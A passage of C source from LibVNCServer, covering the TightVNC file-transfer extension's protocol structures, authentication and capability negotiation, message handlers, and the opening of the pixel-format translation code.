warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 25th August 2005 */ #ifndef RFBTIGHTPROTO_H #define RFBTIGHTPROTO_H #include #include /* PATH_MAX is not defined in limits.h on some platforms */ #ifndef PATH_MAX #define PATH_MAX 4096 #endif #define rfbSecTypeTight 16 void rfbTightUsage(void); int rfbTightProcessArgs(int argc, char *argv[]); /*----------------------------------------------------------------------------- * Negotiation of Tunneling Capabilities (protocol version 3.7t) * * If the chosen security type is rfbSecTypeTight, the server sends a list of * supported tunneling methods ("tunneling" refers to any additional layer of * data transformation, such as encryption or external compression.) * * nTunnelTypes specifies the number of following rfbCapabilityInfo structures * that list all supported tunneling methods in the order of preference. * * NOTE: If nTunnelTypes is 0, that tells the client that no tunneling can be * used, and the client should not send a response requesting a tunneling * method. */ typedef struct _rfbTunnelingCapsMsg { uint32_t nTunnelTypes; /* followed by nTunnelTypes * rfbCapabilityInfo structures */ } rfbTunnelingCapsMsg; #define sz_rfbTunnelingCapsMsg 4 /*----------------------------------------------------------------------------- * Tunneling Method Request (protocol version 3.7t) * * If the list of tunneling capabilities sent by the server was not empty, the * client should reply with a 32-bit code specifying a particular tunneling * method. The following code should be used for no tunneling. */ #define rfbNoTunneling 0 #define sig_rfbNoTunneling "NOTUNNEL" /*----------------------------------------------------------------------------- * Negotiation of Authentication Capabilities (protocol version 3.7t) * * After setting up tunneling, the server sends a list of supported * authentication schemes. * * nAuthTypes specifies the number of following rfbCapabilityInfo structures * that list all supported authentication schemes in the order of preference. * * NOTE: If nAuthTypes is 0, that tells the client that no authentication is * necessary, and the client should not send a response requesting an * authentication scheme. */ typedef struct _rfbAuthenticationCapsMsg { uint32_t nAuthTypes; /* followed by nAuthTypes * rfbCapabilityInfo structures */ } rfbAuthenticationCapsMsg; #define sz_rfbAuthenticationCapsMsg 4 /*----------------------------------------------------------------------------- * Authentication Scheme Request (protocol version 3.7t) * * If the list of authentication capabilities sent by the server was not empty, * the client should reply with a 32-bit code specifying a particular * authentication scheme. The following codes are supported. */ #define rfbAuthNone 1 #define rfbAuthVNC 2 #define rfbAuthUnixLogin 129 #define rfbAuthExternal 130 #define sig_rfbAuthNone "NOAUTH__" #define sig_rfbAuthVNC "VNCAUTH_" #define sig_rfbAuthUnixLogin "ULGNAUTH" #define sig_rfbAuthExternal "XTRNAUTH" /*----------------------------------------------------------------------------- * Structure used to describe protocol options such as tunneling methods, * authentication schemes and message types (protocol version 3.7t). */ typedef struct _rfbCapabilityInfo { uint32_t code; /* numeric identifier */ uint8_t vendorSignature[4]; /* vendor identification */ uint8_t nameSignature[8]; /* abbreviated option name */ } rfbCapabilityInfo; #define sz_rfbCapabilityInfoVendor 4 #define sz_rfbCapabilityInfoName 8 #define sz_rfbCapabilityInfo 16 /* * Vendors known by TightVNC: standard VNC/RealVNC, TridiaVNC, and TightVNC. */ #define rfbStandardVendor "STDV" #define rfbTridiaVncVendor "TRDV" #define rfbTightVncVendor "TGHT" /* It's a good idea to keep these values a bit greater than required. */ #define MAX_TIGHT_ENCODINGS 10 #define MAX_TUNNELING_CAPS 16 #define MAX_AUTH_CAPS 16 typedef struct _rfbClientFileDownload { char fName[PATH_MAX]; int downloadInProgress; unsigned long mTime; int downloadFD; } rfbClientFileDownload ; typedef struct _rfbClientFileUpload { char fName[PATH_MAX]; int uploadInProgress; unsigned long mTime; unsigned long fSize; int uploadFD; } rfbClientFileUpload ; typedef struct _rfbClientFileTransfer { rfbClientFileDownload rcfd; rfbClientFileUpload rcfu; } rfbClientFileTransfer; typedef struct _rfbTightClientRec { /* Lists of capability codes sent to clients. We remember these lists to restrict clients from choosing those tunneling and authentication types that were not advertised. */ int nAuthCaps; uint32_t authCaps[MAX_AUTH_CAPS]; /* This is not useful while we don't support tunneling: int nTunnelingCaps; uint32_t tunnelingCaps[MAX_TUNNELING_CAPS]; */ rfbClientFileTransfer rcft; } rfbTightClientRec, *rfbTightClientPtr; /* * Macro to fill in an rfbCapabilityInfo structure (protocol 3.7t). * Normally, using macros is no good, but this macro saves us from * writing constants twice -- it constructs signature names from codes. * Note that "code_sym" argument should be a single symbol, not an expression. */ #define SetCapInfo(cap_ptr, code_sym, vendor) \ { \ rfbCapabilityInfo *pcap; \ pcap = (cap_ptr); \ pcap->code = Swap32IfLE(code_sym); \ memcpy(pcap->vendorSignature, (vendor), \ sz_rfbCapabilityInfoVendor); \ memcpy(pcap->nameSignature, sig_##code_sym, \ sz_rfbCapabilityInfoName); \ } void rfbHandleSecTypeTight(rfbClientPtr cl); /*----------------------------------------------------------------------------- * Server Interaction Capabilities Message (protocol version 3.7t) * * In the protocol version 3.7t, the server informs the client what message * types it supports in addition to ones defined in the protocol version 3.7. * Also, the server sends the list of all supported encodings (note that it's * not necessary to advertise the "raw" encoding since it MUST be supported in * RFB 3.x protocols). * * This data immediately follows the server initialisation message. */ typedef struct _rfbInteractionCapsMsg { uint16_t nServerMessageTypes; uint16_t nClientMessageTypes; uint16_t nEncodingTypes; uint16_t pad; /* reserved, must be 0 */ /* followed by nServerMessageTypes * rfbCapabilityInfo structures */ /* followed by nClientMessageTypes * rfbCapabilityInfo structures */ } rfbInteractionCapsMsg; #define sz_rfbInteractionCapsMsg 8 #define rfbFileListData 130 #define rfbFileDownloadData 131 #define rfbFileUploadCancel 132 #define rfbFileDownloadFailed 133 /* signatures for non-standard messages */ #define sig_rfbFileListData "FTS_LSDT" #define sig_rfbFileDownloadData "FTS_DNDT" #define sig_rfbFileUploadCancel "FTS_UPCN" #define sig_rfbFileDownloadFailed "FTS_DNFL" #define rfbFileListRequest 130 #define rfbFileDownloadRequest 131 #define rfbFileUploadRequest 132 #define rfbFileUploadData 133 #define rfbFileDownloadCancel 134 #define rfbFileUploadFailed 135 #define rfbFileCreateDirRequest 136 /* signatures for non-standard messages */ #define sig_rfbFileListRequest "FTC_LSRQ" #define sig_rfbFileDownloadRequest "FTC_DNRQ" #define sig_rfbFileUploadRequest "FTC_UPRQ" #define sig_rfbFileUploadData "FTC_UPDT" #define sig_rfbFileDownloadCancel "FTC_DNCN" #define sig_rfbFileUploadFailed "FTC_UPFL" #define sig_rfbFileCreateDirRequest "FTC_FCDR" /* signatures for basic encoding types */ #define sig_rfbEncodingRaw "RAW_____" #define sig_rfbEncodingCopyRect "COPYRECT" #define sig_rfbEncodingRRE "RRE_____" #define sig_rfbEncodingCoRRE "CORRE___" #define sig_rfbEncodingHextile "HEXTILE_" #define sig_rfbEncodingZlib "ZLIB____" #define sig_rfbEncodingTight "TIGHT___" #define sig_rfbEncodingZlibHex "ZLIBHEX_" /* signatures for "fake" encoding types */ #define sig_rfbEncodingCompressLevel0 "COMPRLVL" #define sig_rfbEncodingXCursor "X11CURSR" #define sig_rfbEncodingRichCursor "RCHCURSR" #define sig_rfbEncodingPointerPos "POINTPOS" #define sig_rfbEncodingLastRect "LASTRECT" #define sig_rfbEncodingNewFBSize "NEWFBSIZ" #define sig_rfbEncodingQualityLevel0 "JPEGQLVL" /*----------------------------------------------------------------------------- * FileListRequest */ typedef struct _rfbFileListRequestMsg { uint8_t type; uint8_t flags; uint16_t dirNameSize; /* Followed by char Dirname[dirNameSize] */ } rfbFileListRequestMsg; #define sz_rfbFileListRequestMsg 4 /*----------------------------------------------------------------------------- * FileDownloadRequest */ typedef struct _rfbFileDownloadRequestMsg { uint8_t type; uint8_t compressedLevel; uint16_t fNameSize; uint32_t position; /* Followed by char Filename[fNameSize] */ } rfbFileDownloadRequestMsg; #define sz_rfbFileDownloadRequestMsg 8 /*----------------------------------------------------------------------------- * FileUploadRequest */ typedef struct _rfbFileUploadRequestMsg { uint8_t type; uint8_t compressedLevel; uint16_t fNameSize; uint32_t position; /* Followed by char Filename[fNameSize] */ } rfbFileUploadRequestMsg; #define sz_rfbFileUploadRequestMsg 8 /*----------------------------------------------------------------------------- * FileUploadData */ typedef struct _rfbFileUploadDataMsg { uint8_t type; uint8_t compressedLevel; uint16_t realSize; uint16_t compressedSize; /* Followed by File[compressedSize], but if (realSize = compressedSize = 0) followed by uint32_t modTime */ } rfbFileUploadDataMsg; #define sz_rfbFileUploadDataMsg 6 /*----------------------------------------------------------------------------- * FileDownloadCancel */ typedef struct _rfbFileDownloadCancelMsg { uint8_t type; uint8_t unused; uint16_t reasonLen; /* Followed by reason[reasonLen] */ } rfbFileDownloadCancelMsg; #define sz_rfbFileDownloadCancelMsg 4 /*----------------------------------------------------------------------------- * FileUploadFailed */ typedef struct _rfbFileUploadFailedMsg { uint8_t type; uint8_t unused; uint16_t reasonLen; /* Followed by reason[reasonLen] */ } rfbFileUploadFailedMsg; #define sz_rfbFileUploadFailedMsg 4 /*----------------------------------------------------------------------------- * FileCreateDirRequest */ typedef struct _rfbFileCreateDirRequestMsg { uint8_t type; uint8_t unused; uint16_t dNameLen; /* Followed by dName[dNameLen] */ } rfbFileCreateDirRequestMsg; #define sz_rfbFileCreateDirRequestMsg 4 /*----------------------------------------------------------------------------- * Union of all client->server messages. */ typedef union _rfbClientToServerTightMsg { rfbFileListRequestMsg flr; rfbFileDownloadRequestMsg fdr; rfbFileUploadRequestMsg fupr; rfbFileUploadDataMsg fud; rfbFileDownloadCancelMsg fdc; rfbFileUploadFailedMsg fuf; rfbFileCreateDirRequestMsg fcdr; } rfbClientToServerTightMsg; /*----------------------------------------------------------------------------- * FileListData */ typedef struct _rfbFileListDataMsg { uint8_t type; uint8_t flags; uint16_t numFiles; uint16_t dataSize; uint16_t compressedSize; /* Followed by SizeData[numFiles] */ /* Followed by Filenames[compressedSize] */ } rfbFileListDataMsg; #define sz_rfbFileListDataMsg 8 /*----------------------------------------------------------------------------- * FileDownloadData */ typedef struct _rfbFileDownloadDataMsg { uint8_t type; uint8_t compressLevel; uint16_t realSize; uint16_t compressedSize; /* Followed by File[copressedSize], but if (realSize = compressedSize = 0) followed by uint32_t modTime */ } rfbFileDownloadDataMsg; #define sz_rfbFileDownloadDataMsg 6 /*----------------------------------------------------------------------------- * FileUploadCancel */ typedef struct _rfbFileUploadCancelMsg { uint8_t type; uint8_t unused; uint16_t reasonLen; /* Followed by reason[reasonLen] */ } rfbFileUploadCancelMsg; #define sz_rfbFileUploadCancelMsg 4 /*----------------------------------------------------------------------------- * FileDownloadFailed */ typedef struct _rfbFileDownloadFailedMsg { uint8_t type; uint8_t unused; uint16_t reasonLen; /* Followed by reason[reasonLen] */ } rfbFileDownloadFailedMsg; #define sz_rfbFileDownloadFailedMsg 4 #endif libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/rfbtightserver.c000066400000000000000000000354271303145525000310010ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 25th August 2005 */ #include #include "rfbtightproto.h" #include "handlefiletransferrequest.h" /* * Get my data! * * This gets the extension specific data from the client structure. If * the data is not found, the client connection is closed, a complaint * is logged, and NULL is returned. */ extern rfbProtocolExtension tightVncFileTransferExtension; rfbTightClientPtr rfbGetTightClientData(rfbClientPtr cl) { rfbTightClientPtr rtcp = (rfbTightClientPtr) rfbGetExtensionClientData(cl, &tightVncFileTransferExtension); if(rtcp == NULL) { rfbLog("Extension client data is null, closing the connection !\n"); rfbCloseClient(cl); } return rtcp; } /* * Send the authentication challenge. */ static void rfbVncAuthSendChallenge(rfbClientPtr cl) { rfbLog("tightvnc-filetransfer/rfbVncAuthSendChallenge\n"); /* 4 byte header is alreay sent. Which is rfbSecTypeVncAuth (same as rfbVncAuth). Just send the challenge. */ rfbRandomBytes(cl->authChallenge); if (rfbWriteExact(cl, (char *)cl->authChallenge, CHALLENGESIZE) < 0) { rfbLogPerror("rfbAuthNewClient: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbVncAuthProcessResponse. */ /* This methos is defined in auth.c file */ rfbAuthProcessClientMessage(cl); } /* * LibVNCServer has a bug WRT Tight SecurityType and RFB 3.8 * It should send auth result even for rfbAuthNone. * See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=517422 * For testing set USE_SECTYPE_TIGHT_FOR_RFB_3_8 when compiling * or set it here. */ #define SECTYPE_TIGHT_FOR_RFB_3_8 \ if (cl->protocolMajorVersion==3 && cl->protocolMinorVersion > 7) { \ uint32_t authResult; \ rfbLog("rfbProcessClientSecurityType: returning securityResult for client rfb version >= 3.8\n"); \ authResult = Swap32IfLE(rfbVncAuthOK); \ if (rfbWriteExact(cl, (char *)&authResult, 4) < 0) { \ rfbLogPerror("rfbAuthProcessClientMessage: write"); \ rfbCloseClient(cl); \ return; \ } \ } /* Enabled by runge on 2010/01/02 */ #define USE_SECTYPE_TIGHT_FOR_RFB_3_8 /* * Read client's preferred authentication type (protocol 3.7t). */ void rfbProcessClientAuthType(rfbClientPtr cl) { uint32_t auth_type; int n, i; rfbTightClientPtr rtcp = rfbGetTightClientData(cl); rfbLog("tightvnc-filetransfer/rfbProcessClientAuthType\n"); if(rtcp == NULL) return; /* Read authentication type selected by the client. */ n = rfbReadExact(cl, (char *)&auth_type, sizeof(auth_type)); if (n <= 0) { if (n == 0) rfbLog("rfbProcessClientAuthType: client gone\n"); else rfbLogPerror("rfbProcessClientAuthType: read"); rfbCloseClient(cl); return; } auth_type = Swap32IfLE(auth_type); /* Make sure it was present in the list sent by the server. */ for (i = 0; i < rtcp->nAuthCaps; i++) { if (auth_type == rtcp->authCaps[i]) break; } if (i >= rtcp->nAuthCaps) { rfbLog("rfbProcessClientAuthType: " "wrong authentication type requested\n"); rfbCloseClient(cl); return; } switch (auth_type) { case rfbAuthNone: /* Dispatch client input to rfbProcessClientInitMessage. */ #ifdef USE_SECTYPE_TIGHT_FOR_RFB_3_8 SECTYPE_TIGHT_FOR_RFB_3_8 #endif cl->state = RFB_INITIALISATION; break; case rfbAuthVNC: rfbVncAuthSendChallenge(cl); break; default: rfbLog("rfbProcessClientAuthType: unknown authentication scheme\n"); rfbCloseClient(cl); } } /* * Read tunneling type requested by the client (protocol 3.7t). * NOTE: Currently, we don't support tunneling, and this function * can never be called. */ void rfbProcessClientTunnelingType(rfbClientPtr cl) { /* If we were called, then something's really wrong. */ rfbLog("rfbProcessClientTunnelingType: not implemented\n"); rfbCloseClient(cl); return; } /* * Send the list of our authentication capabilities to the client * (protocol 3.7t). */ static void rfbSendAuthCaps(rfbClientPtr cl) { rfbAuthenticationCapsMsg caps; rfbCapabilityInfo caplist[MAX_AUTH_CAPS]; int count = 0; rfbTightClientPtr rtcp = rfbGetTightClientData(cl); rfbLog("tightvnc-filetransfer/rfbSendAuthCaps\n"); if(rtcp == NULL) return; if (cl->screen->authPasswdData && !cl->reverseConnection) { /* chk if this condition is valid or not. */ SetCapInfo(&caplist[count], rfbAuthVNC, rfbStandardVendor); rtcp->authCaps[count++] = rfbAuthVNC; } rtcp->nAuthCaps = count; caps.nAuthTypes = Swap32IfLE((uint32_t)count); if (rfbWriteExact(cl, (char *)&caps, sz_rfbAuthenticationCapsMsg) < 0) { rfbLogPerror("rfbSendAuthCaps: write"); rfbCloseClient(cl); return; } if (count) { if (rfbWriteExact(cl, (char *)&caplist[0], count * sz_rfbCapabilityInfo) < 0) { rfbLogPerror("rfbSendAuthCaps: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientAuthType. */ /* Call the function for authentication from here */ rfbProcessClientAuthType(cl); } else { #ifdef USE_SECTYPE_TIGHT_FOR_RFB_3_8 SECTYPE_TIGHT_FOR_RFB_3_8 #endif /* Dispatch client input to rfbProcessClientInitMessage. */ cl->state = RFB_INITIALISATION; } } /* * Send the list of our tunneling capabilities (protocol 3.7t). */ static void rfbSendTunnelingCaps(rfbClientPtr cl) { rfbTunnelingCapsMsg caps; uint32_t nTypes = 0; /* we don't support tunneling yet */ rfbLog("tightvnc-filetransfer/rfbSendTunnelingCaps\n"); caps.nTunnelTypes = Swap32IfLE(nTypes); if (rfbWriteExact(cl, (char *)&caps, sz_rfbTunnelingCapsMsg) < 0) { rfbLogPerror("rfbSendTunnelingCaps: write"); rfbCloseClient(cl); return; } if (nTypes) { /* Dispatch client input to rfbProcessClientTunnelingType(). */ /* The flow should not reach here as tunneling is not implemented. */ rfbProcessClientTunnelingType(cl); } else { rfbSendAuthCaps(cl); } } /* * rfbSendInteractionCaps is called after sending the server * initialisation message, only if TightVNC protocol extensions were * enabled (protocol 3.7t). In this function, we send the lists of * supported protocol messages and encodings. */ /* Update these constants on changing capability lists below! */ /* Values updated for FTP */ #define N_SMSG_CAPS 4 #define N_CMSG_CAPS 6 #define N_ENC_CAPS 12 void rfbSendInteractionCaps(rfbClientPtr cl) { rfbInteractionCapsMsg intr_caps; rfbCapabilityInfo smsg_list[N_SMSG_CAPS]; rfbCapabilityInfo cmsg_list[N_CMSG_CAPS]; rfbCapabilityInfo enc_list[N_ENC_CAPS]; int i, n_enc_caps = N_ENC_CAPS; /* Fill in the header structure sent prior to capability lists. */ intr_caps.nServerMessageTypes = Swap16IfLE(N_SMSG_CAPS); intr_caps.nClientMessageTypes = Swap16IfLE(N_CMSG_CAPS); intr_caps.nEncodingTypes = Swap16IfLE(N_ENC_CAPS); intr_caps.pad = 0; rfbLog("tightvnc-filetransfer/rfbSendInteractionCaps\n"); /* Supported server->client message types. */ /* For file transfer support: */ i = 0; if((IsFileTransferEnabled() == TRUE) && ( cl->viewOnly == FALSE)) { SetCapInfo(&smsg_list[i++], rfbFileListData, rfbTightVncVendor); SetCapInfo(&smsg_list[i++], rfbFileDownloadData, rfbTightVncVendor); SetCapInfo(&smsg_list[i++], rfbFileUploadCancel, rfbTightVncVendor); SetCapInfo(&smsg_list[i++], rfbFileDownloadFailed, rfbTightVncVendor); if (i != N_SMSG_CAPS) { rfbLog("rfbSendInteractionCaps: assertion failed, i != N_SMSG_CAPS\n"); rfbCloseClient(cl); return; } } /* Supported client->server message types. */ /* For file transfer support: */ i = 0; if((IsFileTransferEnabled() == TRUE) && ( cl->viewOnly == FALSE)) { SetCapInfo(&cmsg_list[i++], rfbFileListRequest, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileDownloadRequest, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileUploadRequest, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileUploadData, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileDownloadCancel, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileUploadFailed, rfbTightVncVendor); if (i != N_CMSG_CAPS) { rfbLog("rfbSendInteractionCaps: assertion failed, i != N_CMSG_CAPS\n"); rfbCloseClient(cl); return; } } /* Encoding types. */ i = 0; SetCapInfo(&enc_list[i++], rfbEncodingCopyRect, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingRRE, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingCoRRE, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingHextile, rfbStandardVendor); #ifdef LIBVNCSERVER_HAVE_LIBZ SetCapInfo(&enc_list[i++], rfbEncodingZlib, rfbTridiaVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingTight, rfbTightVncVendor); #else n_enc_caps -= 2; #endif SetCapInfo(&enc_list[i++], rfbEncodingCompressLevel0, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingQualityLevel0, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingXCursor, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingRichCursor, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingPointerPos, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingLastRect, rfbTightVncVendor); if (i != n_enc_caps) { rfbLog("rfbSendInteractionCaps: assertion failed, i != N_ENC_CAPS\n"); rfbCloseClient(cl); return; } /* Send header and capability lists */ if (rfbWriteExact(cl, (char *)&intr_caps, sz_rfbInteractionCapsMsg) < 0 || rfbWriteExact(cl, (char *)&smsg_list[0], sz_rfbCapabilityInfo * N_SMSG_CAPS) < 0 || rfbWriteExact(cl, (char *)&cmsg_list[0], sz_rfbCapabilityInfo * N_CMSG_CAPS) < 0 || rfbWriteExact(cl, (char *)&enc_list[0], sz_rfbCapabilityInfo * N_ENC_CAPS) < 0) { rfbLogPerror("rfbSendInteractionCaps: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientNormalMessage(). */ cl->state = RFB_NORMAL; } rfbBool rfbTightExtensionInit(rfbClientPtr cl, void* data) { rfbSendInteractionCaps(cl); return TRUE; } static rfbBool handleMessage(rfbClientPtr cl, const char* messageName, void (*handler)(rfbClientPtr cl, rfbTightClientPtr data)) { rfbTightClientPtr data; rfbLog("tightvnc-filetransfer: %s message received\n", messageName); if((IsFileTransferEnabled() == FALSE) || ( cl->viewOnly == TRUE)) { rfbCloseClient(cl); return FALSE; } data = rfbGetTightClientData(cl); if(data == NULL) return FALSE; handler(cl, data); return TRUE; } rfbBool rfbTightExtensionMsgHandler(struct _rfbClientRec* cl, void* data, const rfbClientToServerMsg* msg) { switch (msg->type) { case rfbFileListRequest: return handleMessage(cl, "rfbFileListRequest", HandleFileListRequest); case rfbFileDownloadRequest: return handleMessage(cl, "rfbFileDownloadRequest", HandleFileDownloadRequest); case rfbFileUploadRequest: return handleMessage(cl, "rfbFileUploadRequest", HandleFileUploadRequest); case rfbFileUploadData: return handleMessage(cl, "rfbFileUploadDataRequest", HandleFileUploadDataRequest); case rfbFileDownloadCancel: return handleMessage(cl, "rfbFileDownloadCancelRequest", HandleFileDownloadCancelRequest); case rfbFileUploadFailed: return handleMessage(cl, "rfbFileUploadFailedRequest", HandleFileUploadFailedRequest); case rfbFileCreateDirRequest: return handleMessage(cl, "rfbFileCreateDirRequest", HandleFileCreateDirRequest); default: rfbLog("rfbProcessClientNormalMessage: unknown message type %d\n", msg->type); /* We shouldn't close the connection here for unhandled msg, it should be left to libvncserver. rfbLog(" ... closing connection\n"); rfbCloseClient(cl); */ return FALSE; } } void rfbTightExtensionClientClose(rfbClientPtr cl, void* data) { if(data != NULL) free(data); } void rfbTightUsage(void) { fprintf(stderr, "\nlibvncserver-tight-extension options:\n"); fprintf(stderr, "-disablefiletransfer disable file transfer\n"); fprintf(stderr, "-ftproot string set ftp root\n"); fprintf(stderr,"\n"); } int rfbTightProcessArg(int argc, char *argv[]) { rfbLog("tightvnc-filetransfer/rfbTightProcessArg\n"); InitFileTransfer(); if(argc<1) return 0; if (strcmp(argv[0], "-ftproot") == 0) { /* -ftproot string */ if (2 > argc) { return 0; } rfbLog("ftproot is set to <%s>\n", argv[1]); if(SetFtpRoot(argv[1]) == FALSE) { rfbLog("ERROR:: Path specified for ftproot in invalid\n"); return 0; } return 2; } else if (strcmp(argv[0], "-disablefiletransfer") == 0) { EnableFileTransfer(FALSE); return 1; } return 0; } /* * This method should be registered to libvncserver to handle rfbSecTypeTight security type. */ void rfbHandleSecTypeTight(rfbClientPtr cl) { rfbTightClientPtr rtcp = (rfbTightClientPtr) malloc(sizeof(rfbTightClientRec)); rfbLog("tightvnc-filetransfer/rfbHandleSecTypeTight\n"); if(rtcp == NULL) { /* Error condition close socket */ rfbLog("Memory error has occurred while handling " "Tight security type... closing connection.\n"); rfbCloseClient(cl); return; } memset(rtcp, 0, sizeof(rfbTightClientRec)); rtcp->rcft.rcfd.downloadFD = -1; rtcp->rcft.rcfu.uploadFD = -1; rfbEnableExtension(cl, &tightVncFileTransferExtension, rtcp); rfbSendTunnelingCaps(cl); } rfbProtocolExtension tightVncFileTransferExtension = { NULL, rfbTightExtensionInit, NULL, NULL, rfbTightExtensionMsgHandler, rfbTightExtensionClientClose, rfbTightUsage, rfbTightProcessArg, NULL }; static rfbSecurityHandler tightVncSecurityHandler = { rfbSecTypeTight, rfbHandleSecTypeTight, NULL }; void rfbRegisterTightVNCFileTransferExtension() { rfbRegisterProtocolExtension(&tightVncFileTransferExtension); rfbRegisterSecurityHandler(&tightVncSecurityHandler); } void rfbUnregisterTightVNCFileTransferExtension() { rfbUnregisterProtocolExtension(&tightVncFileTransferExtension); rfbUnregisterSecurityHandler(&tightVncSecurityHandler); } libvncserver-LibVNCServer-0.9.11/libvncserver/translate.c000066400000000000000000000327551303145525000234270ustar00rootroot00000000000000/* * translate.c - translate between different pixel formats */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include static void PrintPixelFormat(rfbPixelFormat *pf); static rfbBool rfbSetClientColourMapBGR233(rfbClientPtr cl); rfbBool rfbEconomicTranslate = FALSE; /* * Some standard pixel formats. */ static const rfbPixelFormat BGR233Format = { 8, 8, 0, 1, 7, 7, 3, 0, 3, 6, 0, 0 }; /* * Macro to compare pixel formats. */ #define PF_EQ(x,y) \ ((x.bitsPerPixel == y.bitsPerPixel) && \ (x.depth == y.depth) && \ ((x.bigEndian == y.bigEndian) || (x.bitsPerPixel == 8)) && \ (x.trueColour == y.trueColour) && \ (!x.trueColour || ((x.redMax == y.redMax) && \ (x.greenMax == y.greenMax) && \ (x.blueMax == y.blueMax) && \ (x.redShift == y.redShift) && \ (x.greenShift == y.greenShift) && \ (x.blueShift == y.blueShift)))) #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define CONCAT4(a,b,c,d) a##b##c##d #define CONCAT4E(a,b,c,d) CONCAT4(a,b,c,d) #undef OUT #undef IN #define OUT 8 #include "tableinitcmtemplate.c" #include "tableinittctemplate.c" #define IN 8 #include "tabletranstemplate.c" #undef IN #define IN 16 #include "tabletranstemplate.c" #undef IN #define IN 32 #include "tabletranstemplate.c" #undef IN #undef OUT #define OUT 16 #include "tableinitcmtemplate.c" #include "tableinittctemplate.c" #define IN 8 #include "tabletranstemplate.c" #undef IN #define IN 16 #include "tabletranstemplate.c" #undef IN #define IN 32 #include "tabletranstemplate.c" #undef IN #undef OUT #define OUT 32 #include "tableinitcmtemplate.c" #include "tableinittctemplate.c" #define IN 8 #include "tabletranstemplate.c" #undef IN #define IN 16 #include "tabletranstemplate.c" #undef IN #define IN 32 #include "tabletranstemplate.c" #undef IN #undef OUT #ifdef LIBVNCSERVER_ALLOW24BPP #define COUNT_OFFSETS 4 #define BPP2OFFSET(bpp) ((bpp)/8-1) #include "tableinit24.c" #define BPP 8 #include "tabletrans24template.c" #undef BPP #define BPP 16 #include "tabletrans24template.c" #undef BPP #define BPP 24 #include "tabletrans24template.c" #undef BPP #define BPP 32 #include "tabletrans24template.c" #undef BPP #else #define COUNT_OFFSETS 3 #define BPP2OFFSET(bpp) ((int)(bpp)/16) #endif typedef void (*rfbInitCMTableFnType)(char **table, rfbPixelFormat *in, rfbPixelFormat *out,rfbColourMap* cm); typedef void (*rfbInitTableFnType)(char **table, rfbPixelFormat *in, rfbPixelFormat *out); static rfbInitCMTableFnType rfbInitColourMapSingleTableFns[COUNT_OFFSETS] = { rfbInitColourMapSingleTable8, rfbInitColourMapSingleTable16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbInitColourMapSingleTable24, #endif rfbInitColourMapSingleTable32 }; static rfbInitTableFnType rfbInitTrueColourSingleTableFns[COUNT_OFFSETS] = { rfbInitTrueColourSingleTable8, rfbInitTrueColourSingleTable16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbInitTrueColourSingleTable24, #endif rfbInitTrueColourSingleTable32 }; static rfbInitTableFnType rfbInitTrueColourRGBTablesFns[COUNT_OFFSETS] = { rfbInitTrueColourRGBTables8, rfbInitTrueColourRGBTables16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbInitTrueColourRGBTables24, #endif rfbInitTrueColourRGBTables32 }; static rfbTranslateFnType rfbTranslateWithSingleTableFns[COUNT_OFFSETS][COUNT_OFFSETS] = { { rfbTranslateWithSingleTable8to8, rfbTranslateWithSingleTable8to16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbTranslateWithSingleTable8to24, #endif rfbTranslateWithSingleTable8to32 }, { rfbTranslateWithSingleTable16to8, rfbTranslateWithSingleTable16to16, #ifdef LIBVNCSERVER_ALLOW24BPP rfbTranslateWithSingleTable16to24, #endif rfbTranslateWithSingleTable16to32 }, #ifdef LIBVNCSERVER_ALLOW24BPP { rfbTranslateWithSingleTable24to8, rfbTranslateWithSingleTable24to16, rfbTranslateWithSingleTable24to24, rfbTranslateWithSingleTable24to32 }, #endif { rfbTranslateWithSingleTable32to8, 